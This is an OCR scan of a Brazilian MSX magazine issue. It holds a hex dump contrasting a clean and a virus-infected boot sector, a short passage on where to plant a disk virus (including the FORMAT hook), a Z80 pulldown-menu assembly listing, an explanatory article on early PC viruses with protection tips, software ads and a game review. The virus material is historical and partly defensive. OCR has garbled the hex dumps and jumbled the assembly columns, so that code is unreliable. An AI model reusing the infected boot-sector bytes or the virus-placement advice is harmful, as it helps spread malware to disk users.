G0Bg: 00 00 00 0O 00 0O 0O 0O
00cC0: 00 00 00 Q0 00 00 0Q 00
QO0cs: 00 00 00 00 0Q 00 53 4F
00DD: 4C 58 44 4F 53 20 53 49
QDDE: 53 DO 00 00 00 00 Q0 00
00ED: DO 00 0O 00 00 0O DO 0O
00ES: Q0 00 00 DO 00 00 00 OO0
QO0EQ: 00 0D 00 00 0C 0O 00 0O
0pF&: 00 00 0Q 00 00 0O OO0 00
¢100: 0D 0O 00 0O 00 00 GO 00
Q108: 00 00 00 0Q Q0 00 0G0 00
0llo: 00 00 0O 00 00 0Q 0O 0O
GI1a: 00 00 0O 0O 00 QO 0O OO0
glZ0: 00 00 00 00 00 00 00 00
piza: 00 Q0 00 00 QO 0O Q0 QO
0130: 00 00 00 DO 00 Q0 CO QO
¢lis: 00 00 00 00 Q0 00 00 00
0140: 00 00 00 €0 00 00 00 00
glaa: Q0 00 00 0O 00 00 0Q GO
0150: 00 00 00 00 Q0 0O 00 0O
Gisa: 00 00 00 00 00 00 Q0 0O
Qle0: 00 0O 00 00 Q0 00 00 QO
G1658: 00 00 00 DO 00 Q0 QO 00
pl70: 00 QC CO 00 QO 00 0O 0O
0178: 00 00 0O O¢ QO OO0 00 0O
gls0: 00 00 0O 0O QO 0Q Q0 0O
0las: 00 00 00 OQ Q0 00 QO OO
01%0: 00 0C 00 00 €0 00 00 00
0l%&° 00 00 00 0O Q0 00 00 OO0
0la0: 00 00 00 00 0¢ 0O Q0 00
0lag: 00D 00 0O 00 0O 00 00 0O
01s0: 00 00 00 00 00 0O 00 00
glIB8: 00 Q0 00 Q0 00 00 Og 00
glco: 00 00 00 DO 00 00 OC 00
plcs: 00 00 00 00 Q0 00 00 0O
¢lpo: 00 00 00 00 00 00 00 0O
01D 0D 00 00 0O 00 00 00 00
0lE 00 00 00 Q0 00 Q0 00 00
OlE 00 00 00 00 Q0 00 00 00
01FD: 00 00 0D 0O 00 0O 00 00 2
01lF8: 00 00 00 00 00 00 00 00 5

Drive: A Setor: 000

0000: EB FE 90 4p 53 58 2D 30
0008: 32 20 20 00 02 02 01 00
0010: 02 70 Q0 DQ Q2 FD 0Z 00
00l8: 0% 00 02 00 00 0O DO ED
0020: 53 68 C0 32 F3 CO 36 68
0028: 23 36 c0 31 1F F5 €D 95
0030: Ec D5 OE OF CD /D FS B7
0038: CA 4B c0 D1 11 a7 CO OE
0040: OF €D 7D F3 3C 28 2E 11
0048: A7 C0O D5 11 00 01 OE 1A
0050: cD 7D F2 21 01 00 22 BS
Q058: €0 22 DB CO D1 21 00 3F
0060: Q0E 27 CD 7D F3 C3 00 01
0068: S8 €O CD 00 00 79 E6 FE
0070: FE 02 C2 6& CO 3A F3 CO
0078: A7 cA 22 40 11 8B CO OE
00Q80: 09 €D 7D F3 QE 07 ¢D 7D
0088: F3 18 AQ 45 72 72 6F 20
0090: 6E 61 20 63 &1 72 67 61
0098: 0D 0A 54 &5 63 6C 65 20
00A0: 61 6C &7 6F 0D 0A 24 00
00a 4D 53 58 44 4F 53 20 20
00BO: 53 59 53 00 00 00 00 00
00B&: 00 00 00 00 00 00 00 QO
Q0cg: 00 00 00 00 00 0O Q0 00
00ca: 00 00 00 00 00 00 53 4F
00D0: 4C 58 44 4F 53 20 53 49
gopg: 53 00 00 00 00 00 Q0 00
00EOD: 00 00 €0 00 00 00 00 00
ODEB: Q0 00 Q0 00 00 00 00 00
00F0: 00 00 00 00 00 0O 08 Q
G0F8: 00 00 00 00 00 OO0 O V]
0100: 21 95 EC 11 75 E9 01 00
0lo 01 ED BO C3 83 F9 Z1 92
D110: F9 22 7C FE 3E C3 32 /B
0Ilg: FE 11 €D €O €9 E5 D5 €3
0120: FS DD E5 FD ES5 D9 ES5 DS
0128: C5 D9 21 AA EB 11 00 Q0
0130: 01 F8 01 AF CD 44 01 3A
0138: AA EC B7 20 3B 21 75 F9
0l40: 11 A3 EC 01 0 1l ED BO
Ql48: 21 95 EC 22 D9 EB 3E CD
0150: 32 DB EB JE 0 2 0A FA
0158: 21 AA EB 11 O 0 01 F8
0l160: 01 AF 37 CD 44 01 D9 Cl
0168: DI EI D9 FD E1 DD E1 Fl
Q170: €1 DL E1 F7 01 B8 &E C9
0178: 3A 0A Fa 3D 32 OA FA 20
Q180: E5 CD 6C 00 CD C3 00 21
0l88: 0B FA 11 58 00 01 17 00
0190: CD 5C 00 18 FE 05 56 4F
0158;: 43 45 20 46 4F 49 20 43
01AQ: 4F 4E 54 41 4D 49 4E 41
0laB: 44 4F 2ZE 2E 2ZE 00 00 00
0lEQ: 00 00 Q0 00 00 00 QO 0O
QlB8: 00 00 00 00 00 0D 00 0O
01cO0: 00 00 00 00 00 QO 00 00
glcs: 00 00 00 QO 0O QO 0O 00
01D0: 00 00 00 0Q 00 Q0 00 0O
0lD8: 00 00 00 OQ OO0 00 00 00
Q1EO: Q0 00 00 00 00 00 00 OO0
Size: 099 20 98 80 86 88 88
0l1F8: 00 00 00 00 00 0O 00 00

Figura 1: boot normal e boot contaminado. Note a diferenca entre ambos nos primeiros 256 bytes.

coloca-la nos hooks; no endereco de cha-
mada das rotinas baseadas no BDOS; no fi-
nal do interrupt, quando o drive & desliga-
do: ou em gualquer outro lugar que ative
normalmente o drive. Um local curioso pa-
ra instalar o virus € no hook do comando
FORMAT. Dessa forma, os discos formata-
dos ja saem contaminados “de fabrica’
Como se V&, a questao técnica de

criagao e implementagao de um virus nao
& muito complexa. O problema maior & de-
cidir onde e como ele ird funcionar.

Isto significa que ninguém pode se
considerar cem por cento a salvo. 0s virus
estao literalmente ao alcance de todos, e 0
que os distinguiré dos outros programas e
a intencao de seu criador. O resto € pura
criatividade.
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rojeto PROKIT

raticamente todas as operagoes,
ou comandos, do bios PRO KIT e
dos modulos operacionais sao exe-
cutados por um sistema de menus
puIIdown Tal sistema esta baseado na im-
presséo de frases, em bloco, e na inversao
seletiva de cada uma delas. A selegao se da-
ra pelas teclas seta picima e seta p/baixo, de
modo que o bloco de frases deve ter sem-
pre essa disposi¢ao, ou seja, as frases de-
vem ser impressas uma embaixo da outra.

Para o bios PRO KIT, a impressao das
frases deve anteceder @ chamada ao siste-
ma de controle pulldown (rotina COMAN),
respeitando-se as caracteristicas normais
da tela.

As informacOes necessarias para o per-
feito funcionamento do sistema irao depen-
der do modo de operagao da tela. O par HL
devera conter sempre o endereco da primei-
ra coluna a ser invertida, no topo da tela. Pa-

Parie 7

Renato Degiovani

ra um bloco de trés frases, impressas nas
linhas 5,6 e 7 da tela e tabuladas a partir da
coluna 10, em screen O o endereco em HL
deveraser 11 e em screen 2 o endereco em
HL devera ser 64.

Na verdade, em screen O adota-se o en-
dereco 10 - um a menos que o inicio da fra-
se, para que o inicio da barra inversa nao
coincida com o primeiro caracter, causan-
do assim um desequilibrio visual no conjun-
to. Vocé pode achar estranho esses nime-
ros, mas lembre-se que em screen 0 o PRO
KIT trabalha somente com 39 colunas e
portanto a primeira coluna real deve ser
desprezada.

Também em screen 2 deve-se ignorar
uma coluna de 8 bytes a esquerda e 0 en-
dereco em HL devera considerar nao so a
alta resolugéo, como também o fato de que
0s caracteres possuem uma largura de 6 pi-
xels. Dal, (6x10)/8=74, ou seja, 0 primeiro

pixel do caracter na coluna 10 esta na oita-
va coluna de bytes da VRAM (8x8=64). Nao
esqueca também de desprezar os dois pi-
xels iniciais & esquerda do video.

Qregistrador B, para qualquer screen,
devera conter o nimero da primeira linha da
lista de frases e o registrador C o numero da
ditima linha mais um. O registrador E deve-
ra conter o nimero da linha default, ou da
linha selecionada numa operagao anterior.

O acumulador devera conter, em
screen 0, o tamanho da linha a ser inverti-
da em quantidade de caracteres. Em screen
2 o tamanho da linha devera ser em quan-
tidade de bytes da area da VRAM. Lembre-
se que este nimero devera ser um maltiplo
de oito, por motivos ébvios.

Ao retornar, a rotina COMAN indicara se
0 mesmo se deu pelo pressionamento da
tecla ESC, caso em que o zero flag estara
setado, ou se o retorno ocorreu pelo acio-
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;PRO KIT bioz - 3.0 01/89 CALL MVOUT ;Reinverte a linha
;i POP AF
;Rotina de execucdo de menus pulldown RET iRetorna
LINH3: CALL LINH4 ;Inverte a linha
MODO : DEFE 0 iModo de operacdo do video BET 18 ;Espera uma tecla ser pre=sionada
LUG: DEFW ;Ender. do topo da lista PUSH AF
OND : DEFE O ;Mimero da linha atual CALL LINH4 ;Reinverte a linha
THH : DEFB. 0 ;Tamanho da linha i=1e] AF
COL : DEFE 0 ;Coluna de impressdo RET ;Retorna
LIN: DEFE 0 iLinha de impressio LINH4: LD HL, {LUG) iEndereco do topo da primeira linha
LD A, (OND) ;Calcula o endereco real
LINHA: LD A, (MODO) ;iCheca o screen em uso ADD A,H
OR A LD H, A
JR NZ,LINH3 ;5alta se for screen 2 LD A, (TMH) ;Tamanho da linha em bytes
LD HL, (LUG) iCalcula o endereco inicial da LD B, A
LD DE, 40 ilinha a ser invertida . LINHS: RST  $30 ;Carrega o byte da VRAM
LD A, (OND) CPL ;Inverte
LD B.A RST 28 iRecoloca-o na VRAM
LINHO: ADD HL,.DE INC HL
DJNZ LINHO DJNZ LINHS ;Proximo byte
LD (L¥+1) ,HL ;Salva o endereco para reinversio RET
LD A, (TMH) ;Tamanho da linha em caracteres
LD B.A COMAN: LD (LUG) ,HL iHL=endereco no video
LD DE,FRZ ;Buffer de linha LD {TMH) A :Tamanho da l;nha
EXX LD A.E
LD HL,30E0QD ;Infcio do buffer de caracteres COMAD: LD {OND} , & ;Linha atual
EXX iinvertidos PUSH BC
LINH1: RST #30 ;0btém um caracter do video CALL LINHA ;Inverte, espera tecla e reinverte
LD {DE) ,a& ;Salva no buffer POP BC
EXX SUB 1z iTecla ESC?
FUSH HL JR Z,COMAS
LD DE,ALFAB ;Calcula o endereco da matriz do DEC A :Tecla ENTER?
x LD LA jcaracter JR NZ, COMAL
LD H.0 LD A, (OND) ;Calcula a posigdc da linha
ADD HL, HL SUB B
ADD HL,HL INC A
ADD HL,HL COMAS: LD E.A iBalva pozicdo da linha
ADD HL.DE LD A, (OND) i0btem o numerc da linha atual
EX DE,BL ;Endereco em DE LD {COL+1) ,& ;Ajusta p/impressdo
LD B,8 i8 bytes RET ;Retorna
POP HL COMAl: SUB 3 ;Seta para baizro?
LINHZ: LD A, (DE) ;0btém um byte do desenho do CHRS JR Z,COMA
CPL ;iInverte DEC A iSeta para cima?
BET $28 :Envia p/o buffer de CHRS inversos JR Z.COME4
INC HL iPrédximo byte do CHRS SUB la4q +SHIFT + SELECT?T
INC DE JP Z,EXEC
DJNZ LINHZ COMAZ: LD A, (OND) ;Recupera a linha atual
EXX . JR coMal ;Ignora qualguer outra tecla
LD A, (TMH) iCalcula o CHRES em processo de CcoMA3: LD A, (OND)
SUB B ;inverado INC A iPréxima linha
ADD A, $C0 iAjusta para a faixa especial CP c iReprocessa se ndo ultrapassou
RST #2B ;Imprime o CHRS invertido no video JR C,CoMAD ;0 limite inferior
INC HL LD AB iObtém a primeira linha da lista
INC DE JR COMAQ ;Reprocessa
DJNZ LINHL ;Proximo caracter coMad: LD A, (OND)
RST $18 ;Espera uma tecla DEC A ;:Linha anterior
FUSH AF CP B iReprocessa se ndo ultrapassou
LX: LD DE. 0 :Ender. inicial da linha invertida Ja NC, COMAO ;o limite superior
LD HL,FRZ ;Buffer da linha original LD A,C ;o0btém a wltima linha da li=sta
LD A, (TMH: DEC A i& reprocessa
LD C.A JR COMAD
LD B, 0 ;BC-tamanho da linha

namento da tecla ENTER. Neste caso, o re-
gistrador A contera a linha selecionada e o

registrador E contera a sua posicao em re-
lagao ao topo da lista, ou seja, primeira linha,
segunda, terceira e assim por diante.

O sistema de coordenadas de impres-
S0 ja estara ajustado para a linha selecio-
nada e, ajustando-se a coluna, pode-se im-
primir um sinal indicativo de selecao.

Apos o retorno, o programador pode-
ra processar as informacoes como melhor
convier ao seu sistema. O mais comum é

criar uma série de saltos condicionados ao
valor do registrador E.

A INVERSAO

O processo de inversao, em screen 2,
€ muito simples. Apos calcular o endereco
inicial da linha, a rotina simplesmente Ié um
byte, inverte-o e regrava-o no video.

Ja em screen 0, o processo é um pou-
co mais complexo pois o video é formado,
na verdade, por codigos gue representam os

caracteres. Assim, os codigos da linha a ser
invertida sao salvos num buffer e é localiza-
do cada desenho de letra correspondente.
Ao inverter o desenho do caracter, o siste-
ma estara redefinindo uma série de carac-
teres cujos cddigos iniciam pelo codigo
&HCO. ApGs completar a inversao, os codi-
gos da linha séo substituidos pelos novos
codigos.

Para recuperar a forma original, basta
reaver o conteldo do buffer da linha.

JUNIOR'’S

INFORMATICA
CLUBE

Av.33n. 151 — Centro — Tel. (034) 262-0970
ltuiutaba/MG — CEP 38300

Chegou o mais Revolucionério Clube de Informética do Brasil !I!
Para as linhas ZX SPECTRUN (TK 90 e 95), ZX 81, MSX E APPLE.

muito mais!

A J.I.C. é um clube totalmente diferente de todos outros clubes ja existentes. Ndo somos
somente mais um clube de “FORNECIMENTO DE JOGOS”. A J. C.I. € mais do que isto,

VEJA ALGUNS DE NOSSOS SERVICOS:

associados;

°J. |.C. CASAMENTO — Case 0 seu micro.
*J.1.C.PROMOGAO — Pregos promocionais que as softhouses fardo para os

*J.I.C. HELP — A solug&o de seus problemas.

Receba mensalmente estes servicos e outros como apostilas, programas, e sorteios.

Participe do grande concurso da J.1.C. e ganhe um HOT BIT DA SHARP!
Peca catalogo detalhadamente e comprove!




isseram-me que tratava-se de uma
virose. O fato & que, dois dias de-
pois as coisas pioraram bastante,
guando entao meu corpo ficou in-
festado de pipocas. O diagnéstico nao dei-
xou davidas: era realmente uma virose - sb
que o virus em guestao era o da catapora.

A SOLUGAO ESTA NA
ASSIGN INFORMATICA

Virus

Flavio Azevedo

Sinto-me ridiculo por estar vivendo tal situa-
cao depois de velho (nem tanta!), mas tam-
bém gratificado pela inspiragao € disponi-
bilidade que a doenga me trouxe. Sendo as-
sim, falemos um pouco sobre o assunto da
moda: o virus dos microcomputadores.

Para nosso desespero, 0s computa-
dores NAQ sofrem de catapora ou sarampo.
Digo isto porgue, se fosse este 0 caso, um
pouco de ‘repouso’, aspirina ou falta de uso
seriam suficientes para restabelecer o fun-
cionamento normal as coisas. Ao contrario,
0s virus que infectam os computadores sao
pequenos programas gue se alojam no in-
terior de outros programas, € passam a
atuar de forma maligna ou benigna a cada
execucao deste. Eles surgiram no exterior
hé algum tempo, fruto de mentes inventivas
que, por algum motivo, desejavam vingar-se
ou apenas divertir-se com a situacéo de des-
graca vivida pelas vitimas.

Este & possivelmente, 0 caso do virus
Lehigh, surgido na Lehigh University da
Pennsylvania em 1987, cuja autoria se atri-
bui a um estudante demoniaco e bastante
esperto, tendo em vista 0 modo de funcio-
namento de sua criagdo. Ha também quem
diga que 0s virus sdo invengao da propriain-
dustria de software, interessada em arreca-
dar algum dinheiro com a venda de progra-
mas “antidotos’, hoje fartos no mercado. O
fato é que, independente de sua origem, 0S
virus alcancaram tal sofisticagao, que al-
guns deles possuem ate versoes
atualizadas.

0 problema, de extensao desconhe-
cida no Brasil face a falta de dados sobre 0
assunto, se tornou uma verdadeira febre nos
Estados Unidos. Ele vem preocupando mui-
ta gente e tem, obviamente, gerado uma in-
dastria paralela de combate as epidemias.

0 QUE SAO

Os virus, conforme mencionado, sao
programas que se instalam imperceptivel-
mente em nossos computadores g, de algu-
ma maneira, passam a prejudicar o funcio-
namento da maguina (retardando o proces-
samento) ou destroem dados, programas e
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até discos inteiros, causando perdas ines-
timaveis. Parte de seu codigo, o “segmento
virético”-propriamente dito, & capaz de se in-
corporar a outros programas usados no mi-
cro e também em programas contidos dos
discos rigidos e flexiveis do sistema,
replicando-se indefinidamente e infectando
quaisquer discos que venham a ser usados
no equipamento.

Além da fase de propagacéo, quando
se da a infeccao do sistema, um virus con-
tém ainda as fases de disparo e destrui¢ao.
A fase de disparo sucede a propagacao, e
é a partir de entao que o virus comecaa da-
nificar arquivos, caracterizando a fase de
destruicao. Em geral, o disparo ocorre apos
um determinado nimero de execugoes do
programa, ou guando se atinge uma data
especifica, tal como aquele que derrubou
arede interna da IBM nos Estados Unidos,
deixando a mensagem “Feliz Ano Novo'

COMO FUNCIONAM

Umn virus &, na verdade, um programa
bastante simples e engenhoso. Alguns de-
les, como o Israeli, possuem um codigo de
apenas 1800 bytes, e costumam trabalhar
de forma estreitamente ligada ao funciona-
mento do sistema operacional da maquina,
interceptando as operagdes de leitura/escri-
ta em disco. Para tal, eles se alojam em ar-
quivos executaveis (aqueles de sufixo COoM
ou .EXE), preferencialmente os de extensao
COM, alterando o ponteiro de inicio de exe-
cugdo - através de uma instrugcao JMP - pa-
ra seu proprio codigo. A partir deste instan-
te, as operacoes de entrada e saida serao
monitoradas pelo virus que tera alterado os
devidos enderecos dos vetores de interrup-
cao. Feito isto, ele devolve o controle ao “pro-
grama hospedeiro’, como se nada houves-
se ocorrido, e passa a infectar os programas
executados na maquina, dando continuida-
de ao processo.

TIPOS DE ViRUS

Muitos sao os tipos de virus existen-
tes hoje em dia, e as variedades



caracterizam-se basicamente pelas diferen-
cas de funcionamento.

O Israeli, por exemplo, & um virus do
tipo residente em meméria (TSR), um pro-
grama independente de qualquer outro, que
infecta programas de extensdo .COM e .EXE
interceptando as chamadas a interrupgao
21H, uma das principais do DOS. Assim, en-
quanto o computador esta ligado, o virus se
propaga livremente, contaminando ndo um
arquivo, mas sim os discos que transitem
pelo computador. Muito esperto, o Israeli
procura esconder-se preservando as datas
de cria¢ao dos arquivos, gravadas no disco.
As fase de disparo e destruicao deste virus
acontecem guando a data do sistema acu-
sar uma sexta-feira treze. A partir dai, os dis-
cos serao destruidos!

O Lehigh &, na verdade, um COM-
MAND.COM infectado, que portanto so en-
trard em seu sistema se vocé der a partida
com um disco contaminado. Depois de tam-
bém conectar-se a interrupgao 21H, o Le-
high verifica, a cada acesso a disco, se a co-

MAND.COM de seu disco de partida com o
atributo de leitura (“read-only”), o que impe-
dird a contaminagao do mesmo. Certifique-
se, ainda, de que seu COMMAND.COM esta
“sao0” e nao dé a partida com discos de
terceiros.

O Pakistani Brain é um virus interes-
sante, ja que anuncia sua presenca trocan-
do o nome do volume dos discos infectados
para Brain. Ele também funciona residente
em memdria, contaminando a trilha de
“boot” dos discos utilizados no computador.
Ao invés de destruir arquivos, o Pakistani
marca lentamente setores do disco como
inutilizaveis, fazendo com que eventualmen-
te os discos nao passem de lixo, inteiramen-
te marcados com setores ruins. Para se pro-
teger deste virus, use um programa para edi-
¢ao do “boot record’, escrevendo 0s nime-
ros 1234 no “offset” 4 desta trilha.

Finalmente, o Italian, também chama-
do de Ping-Pong, gera uma irritante bolinha
que passeia intermitantemente na tela do

COMO SE PROTEGER

Seguindo alguns conselhos, vocé po-
dera evitar surpresas desagradaveis, segui-
das de inevitaveis dores de cabeca, como
segue:

1 - Fuja da “promiscuidade”. Procure nao
usar programas cedidos por terceiros, prin-
cipalmente aqueles de procedéncia duvido-
sa, tais como softwares piratas.

2 - Utilize também o disco original do siste-
ma operacional para dar a partida em seu
micro, pois dificilmente ele estara
contaminado.

3 - Faga "back-ups” de seus arquivos. Em-
bora esta nao seja uma solugéo, ja que a cé-
pia de seguranca podera estar infectada, é
ainda uma defesa simples e barata.

Entretanto, se seu sistema ja foi infec-
tado por uma destas pestes, recorra a uma
das varias vacinas disponiveis nas lojas es-

- B = . 0 . . - - M
pia do COMMAND.COM existente ja esta in- monitor, atrapalhando qualquer trabalho pecializadas. Elas atuarao de varias formas,
fectada, contaminando-a em caso negativo. executado no micro. Ele se instala na area removendo 0s “seres” indesejaveis, checan-
Ele entao incrementa um contador que, de “Bgot" do sistema, sendo carregado em do a integridade dos programas, ou moni-
apos 10 infecgoes, provocara a destruicdo  memoria a cada partida. A contaminagao,  torando as operagdes do sistema operacio-

completa de seu winchester. Para defender- a semelhanca do Israeli, da-se durante as nal em busca de atividades anormais. I

se deste virus, basta marcar o COM- operacgoes de entrada/saida. Se nada disto funcionar... @

i
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APROVEITE ESTA OPORTUNIDADE PARA ADQUIRIR
OS MELHORES SOFTS DO MERCADO!

FACA JA O SEU PEDIDO!

Envie cheque nominal a

ZOCHIO REPRESENTACOES LTDA.

PRO KIT SOFTWARE

PROKIT SERIE *'C"

PRO KIT ZAPPER 3.1

A ferramenta de todo usuario de drive per-
mite ordenar os arguivos de disco, ve-
rificar e editar setores, trilhas, testar a
velocidade de rotagao do drive, etc.

NCz$ 152,00

PRO KIT SCANNER 3.0
NCz§ 128,00

PRO KIT FILES 3.0
NCz$ 128,00

ROT-113.0

Utilitario para copia e criacdo de master.
Atualiza a BIOS PROKIT série A

NCz§ 128,00

FORMAT 3.0

Utilitario para formatacao elou desfor-
matagao de disquetes. Permite criar for-
matagdes especiais e testar a qualidade
do disco.

NCz§ 128,00

GRAPHOS PRO

Sistema integrado de editoragdo grafica
para linha MSX.

MCz§ 768,00

GRAPHOS lll — Médulo Telas
Mddulo editor de telas
NCz§ 256,00

GRAPHOS lll — Médulo Alfabetos
Mddulo editor de alfabetos
NCz§ 256,00

NCz¥ 256,00

GRAPHOS Il (V 2.0) — E o mais poderoso
editor grafico nacional. Permite a criacdo
de aberturas, desenhos e shapes, alfa-
betos especiais, etc.

NCz$ 205,00

ALFABETOS N° 1 — Banco de alfabetos
para 0 GRAPHOS I, contendo mais de 30
alfabetos tamanho padrdo e diversos al-
fabetos para titulos.

NCz$ 65,00

DIGITAL BOOK N° 1 — Uma nova maneira
de usar o seu microcomputador. O livro
digital que nac pode faltar pa sua bi-
blioteca de software.

NCz§ 102,00

GRAPHOS-TELAS 1 — Telas prontas para
uso em programas do usuério.
NCz$ 65,00

GRAPHOS-SHAPES 1 — Coletanea de
shapes e desenhos de eletronica e ar-
quitetura, além de selos e vinhetas.

NCz§ 65,00

A LENDA DA GAVEA — O classico da
aventura do TK 90, agora também para
MSX.

NCz$ 102,00

SISTEMA EDITOR Versdo 3.4 — Sua aran-

de oportunidade de criar 0 seu proprio ad-
venture.
NCz§ 280,00

AMAZONIA — O mais famoso adventure
nacional, Y
NCz§ 77,00

SERRA PELADA — A fortuna o espera em
SERRA PELADA e vocé nem precisa sujar
as maos. Possuium sistema de mapas.
NCz§ 77,00

BUCANEER SOFT

COPY-BAIXARIA — Copia de disco para
fita (até 5 blocos de cada vez) e vice-ver-
sa, I8 enderecos do disco, troca nomes,
executa arquivos, deleta etc.

NCz§ 75,00

SUBLIM — Nao é hipnotismo. Faca ex-
perimentos com mensagens  sublimi-
nares no video do seu MSX.

NCz§ 75,00

PROPAGANDA ELETRONICA — Agora
COm muito mais atrativos. Anuncie as mer-
cadorias nas vitrines de todo o Brasil.
Faga dinheiro alugando seu equipamen-
to.

NCz§ 180,00

TRANCA FILES — Esconde arquives no
diretdrio e protege programas.
NCz§ 75,00

BUC-COPY — Um otimo copiador acom-
panhado de um excelente manual. O livro
neqro da pirataria, que ensina tudo sobre
copias em fita.

NCz§ 75,00

BUC-SINTH — Uma verdadeira mesa de
som para vocé colocar efeitos sonoros
em $eusprogramas em Basic.

NCz$§ 75,00

BUC-COMPOSER — Escreva suas carias,
trabalhos escolares e peguenas publi-
cagdes com Ssua impressora matricial
podendo optar entre 35 tipos de carac-
teres diferentes, além dagueles que o
programa permite criar.

MCz§ 150,00

STRIP GIRLS I e Il — Para tirar a roupa
delas voce tem de saber canta-las.
NCz§ 75,00

BUCART (Vol. I, Il e lllj — Centenas de
shapes condicionados ao GRAPHOS com
a mais incrivel coletanea de desenhos
com uso profissional em ilustracio.

NCz$ 100,00 cada volume

PRACTICA

DBASE Il PLUS — Sistema de geren-
ciamento de dados.
NCz§ 520,00

SUPERCALC 2 — A planilha eletrdnica
mais poderosa e a mais facil de ser usada.
NCz§ 520,00

CIBERTRON

MSX WORD
NCz$ 40,00 (fita cassete)

MSX WORD Versao 3.0
NCz$ 60,00 (disquete)
PLANILHA MSX

NCz$ 40,00 (fita cassete)

PLANILHA MSX Vers3o 2.0
NCz$ 60,00 (disquete)

CONTROLE DE ESTOQUE
NCz§ 60,00 (disguete)

BANCO DE DADOS
NGz$ 40,00 (fita cassete)

ASSEMBLY & DESASSEMBLY
NCz§ 40,00 (fita cassete)

_RS232/TERMINAL — Acoplada a um M3SX

possibilita a emulacdo do terminal VT52,
VIDEOTEXTO E CIRANDAQ/RENPAC.
NCz§ 810,00

PAULISOFT

MSX TURBO — Um compilador que opera
na memdria acelerando incrivelmente as

-operagoes de calculo.

NCz$ 90,00

EDTRONIC — Recursos para edigo, mon-

tagem e impressac de esquemas para
projetos eletrénicos.
NCz$ 90,00

GRAPHIC VIEW — Um genial programa
para incrementar em suas telas graficas
rotinas de SCROLL,

NCz$ 77,00

SPRITE MAKER — Super editor de sprites
16x16 que inclui rotinas para reversao.
NCz§ 77,00

AQUARELA
Completo editor grafico para linha MSX.
NCz$ 160,00

FAST-COPY
NCz§ 67,00

SOFTNEW

MSXDISIGNEN..... ......... NCz§ 75,00
........ MULTICOPY _...... NCz$75,00
VISCOGRAPHIC ........... .. NCZ$ 75,00
SPRITESWRITEN ......... .. NCz§ 75,00

UNIVERSOFT

PACOTE APLICATIVO

AGENDA DOMESTICA — MALA DIRETA
— UNI-WORD Z. O — PENCIL
DESIGNER — EDITOR DE MUSICA
BANCO DE DADOS — C. ESTOQUE —
EDIT. SPRITE —.C. PAGAR/REC. —
PLANILHA MSX

NCz§ 100,00

ULTRA-COPY — Copia & formata ao mes-
mo tempo

NCz§ 260,00

CIBERTRON

MEGASSEMBLER (cartucho) NGz§ 330,00

MAXIDADOS (cartucho] ~ NCz$ 330,00
NEMESIS
MSX-DOSTOOLSI............ NCz$ 55,00
MSX-DOSTOLLSH ...........NCz$55.00
MSXHELLOUM.0. .._.......... NC2$ 55,00
GRAF-MASTERIl. ............ NCz$ 60,00
MALA DIRETAMSX 1.1........ NCz$ 81,00
MSX-SAM VOICE SYNTHETIZER...... ..
NCz§ 55,00

MSX CHART1.0 /..., NCz$ 67,00
MSX PORTFOLIO1.0..........NCz$ 67,00

NEMESIS — PROGRAMASUTILITARIOS

MSX PAGE MAKER 1.4

MSX PAGE MAKER FONTES 1
MSX PAGE MAKER FONTES 2
MSX PAGE MAKER FONTES 3
MSX PAGE MAKER FONTES 4

editor de pagina com textos e graficos
22 diferentes letras parao PAGE MAKER NGz§ 55,00
22 diferentes letras para 0 PAGE MAKER NCz§ 55,00
22 diferentes letras parao PAGE MAKER NCz§ 55,00
22 diferentes letras para o PAGE MAKER NCz$ 55,00

NCz$ 67,00

MSX PAGE MAKER CARTOONS 1 diversas figuras para sua paginagrifica NCz$ 55,00
MSX PAGE MAKER CARTOONS 2 diversas figuras para sua pagina grafica NGCz$§ 55,00

MSX PAGE MAKER TITLES 1

MSX PAGE MAKER SQUARES 1
MSX PAGE MAKER KIT

alfabetos gigantes para titulos e
destagues
diferentes molduras, adornos e vinhetas NCz§ 55,00
PAGE MAKE com todos os seus
acessorios

NCz$ 55,00

NGz§ 410,00

ZOCHIO REPRESENTAGCOES LTDA.
Caxia Postal 1793 — CEP 20001
Rio de Janeiro-RJ — Tel. (021) 262-6306




CADERNO
DE

JOGOS

A VOLTA DOS VIDEOGAMES

FACA A SUA ACERTE COMBATA

CAMPANHA O RUMO TERRORISTAS
PRESIDENCIAL DO JOYSTICK DO FUTURO

NO IBM-PC NO MSX NO AMIGA

_ E mais: Altered Beast, Cosmic Pirate, jogos que
gostariamos de ver e a dltima crlada para Roger Rabbit!




erroristas do futuro dio um
T jeito de implantar cinco bombas

em periodos cruciais da histéria
Hm— da Terra, com o propésito de

desorganizar sua evolugéo e
levar a humanidade ao caos: cabe ao
como sempre heréico ususrio de um
Amiga ou Atari ST a espinhosa missdo de
vigjar pelo tempo e tentar desarmar este
esquema. Esta é a histéria por trés de
Xenon ll—Megablast, 0 mais recente
lancamento dos Bitmap Bros. pela
" Imageworks (os mesmos de Xenon e
Speedball, dois jogos daquele tipo que
vocé levaria junto com seu micro para
uma ilha deserta). OK, ndo é mesmo o
enredo mais cotado para um primeiro
lugar em originalidade, mas espere até

1w

’ f 3
XENON Il

dar uma olhada nos outros quesitos. A
- comegar pelos gréficos, que... Bem, ndo
vale a pena perder tempo tentando
comenta-los aqui: mesmo apos uma
revelacdo pessoal, continuard sendo
dificil aceitar plenamente a sua
existéncia. Ainda assim d3 para perceber
que estamos diante de mais um
rarissimo exemplar de um “shoot’ em up”
inteligente, uma vez que a) 0s inimigos
nao chovem sobre sua cabega atirando
€omo loucos para desaparecer
inexplicavelmente em seguida: todos tém
estratégias especificas de ataque e njo
aao refresco até se descobrir Um Jeito de
passar por eles; b) a nave que vocé pilota
tem resisténcia suficiente para ndo se
auto-destruir ao esbarrar em algum lugar
do cendrio, e ¢) se vocé perder uma vida
no final da pentiltima fase ndo &
catapultado de volta para o inicio do Jjogo
' e depenado, sem qualquer explicagao,
das armas que possuia até aquele
instante: a acdo recom eca proximo do
ponto onde parou, com seu poder de
fogo mantido intacto. Vocé pode se
abastecer de até vinte tipos diferentes de
armas, que Vvéo desde simples consefhos
(dteis, pois ndo sdo de graca) até um
dispositivo que permite 3 sua nave se

CLaupio Costa

teleportar entre 0s diversos niveis do
fogo para escapar de um eventual ataque
cerrado. Tudo isso embalado por uma
abertura definitivamente bombastica,
onde se ouve nada menos que a masica
“‘Megablast’, do grupo inglés Bomb the
Bass, sampleada (prezado Tim Simenon,
se eu fosse vocé atirava pela janela esse
arsenal de sintetizadores depois de ouvir
como ficou sua composicéo no Amiga).
E ainda tem vérias outras surpresinhas.,
Se vocé estiver pensando numa viagem
para alguma ilha distante reserve mais
um lugar na bagagem.

apt Dziing! Blam! Nao sei o que
z ha com esses jogos, mas a
cada dia que passa eles ficam
mais répidos e sofisticados - a
ponto de nem dar tempo de
autores e softhouses conseguirem
